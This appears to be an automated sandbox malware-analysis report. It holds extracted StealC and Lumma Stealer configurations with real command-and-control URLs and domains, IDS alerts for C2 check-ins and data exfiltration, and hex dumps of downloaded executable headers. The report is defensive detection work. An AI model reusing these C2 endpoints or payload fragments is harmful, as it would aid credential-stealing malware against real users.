Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e9b78b2fe250ce87f078735b2c4760d4eb1ca6883b34a6905ca2faed7c8e28c5
Instruction ID: 88de57875f88feaa6e0f8f004dcb6b3a164b404d5018b1b8328095196af8bfa0
Opcode Fuzzy Hash: e9b78b2fe250ce87f078735b2c4760d4eb1ca6883b34a6905ca2faed7c8e28c5
Instruction Fuzzy Hash: 09F082B290C508CBC7412F29C5482BDBBB1EF54311F52462DDAE543A90D7320D64CA47

Function 00CFE9D3 Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CFE9DC

Memory Dump Source

Source File: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction ID: 515b26ddd4930250234eb3ffd7bd46760018b32498e742aaeea919de77ad2eff
Opcode Fuzzy Hash: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction Fuzzy Hash: A9E09AB140C648AFE7457F2A98C56BEBBE4FF18798F11082DE5C4C6600D2754C50DB57

Non-executed Functions

Function 00E8DB24 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2701938818.0000000000E89000.00000040.00000001.01000000.00000008.sdmp, Offset: 00CF0000, based on PE: true

Associated: 0000000C.00000002.2697507573.0000000000CF0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697583926.0000000000CF2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2697621953.0000000000CF6000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700641714.0000000000CFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2700695709.0000000000D06000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701073791.0000000000E5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701161498.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701268795.0000000000E74000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701413481.0000000000E76000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701477089.0000000000E83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2701803282.0000000000E85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702058641.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702191528.0000000000E98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702230631.0000000000E99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702254839.0000000000E9A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702287554.0000000000E9B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702313001.0000000000E9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702342917.0000000000EB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702397528.0000000000EBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702501557.0000000000EBD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702629894.0000000000EC5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702754759.0000000000ED2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702827355.0000000000ED9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702908100.0000000000EF0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702943505.0000000000EF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2702970699.0000000000EF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703104691.0000000000F00000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703162740.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703253072.0000000000F11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703317196.0000000000F12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703341275.0000000000F15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703408080.0000000000F1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703432288.0000000000F1F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703507817.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703548372.0000000000F2A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703669049.0000000000F31000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703753806.0000000000F35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2703884174.0000000000F46000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704006965.0000000000F47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704121668.0000000000F56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704160925.0000000000F58000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704201303.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704224358.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704249420.0000000000F99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704299986.0000000000FA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2704322806.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_cf0000_FC6S9INH3UEK91EJWRLCPKUP1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction ID: 62cd5597b6b5c31834a9ab4dc237b85982bcb0750be2b1e1f7b4c3936d8dad0d
Opcode Fuzzy Hash: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction Fuzzy Hash: 63E04F361082419ED700DF54C845A9BFBF4FF1A311F259945E448C7222C3358841CB29

Source: DXNVSY83L0YWDTI5Q.exe.6628.13.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: uDTW3VjJJT.exe.6052.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["crosshuaht.lat", "sustainskelet.lat", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "sweepyribs.lat", "necklacebudi.lat", "rapeflowwj.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:55364 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:55312 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:60776 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49725 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49737 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49748 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49761 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49771 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49803 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:49782 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49849 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49725 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49725 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49748 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49803 -> 104.21.21.99:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:17:42 GMTContent-Type: application/octet-streamContent-Length: 2846208Last-Modified: Fri, 20 Dec 2024 15:44:49 GMTConnection: keep-aliveETag: "676590f1-2b6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 6a 6d 79 6d 64 64 77 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 64 67 78 75 6e 69 00 20 00 00 00 80 2b 00 00 06 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:17:47 GMTContent-Type: application/octet-streamContent-Length: 2883584Last-Modified: Fri, 20 Dec 2024 15:46:44 GMTConnection: keep-aliveETag: "67659164-2c0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 6a 76 69 72 68 75 74 00 60 2a 00 00 c0 24 00 00 5e 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 73 77 7a 72 6f 71 00 10 00 00 00 20 4f 00 00 04 00 00 00 da 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4f 00 00 22 00 00 00 de 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
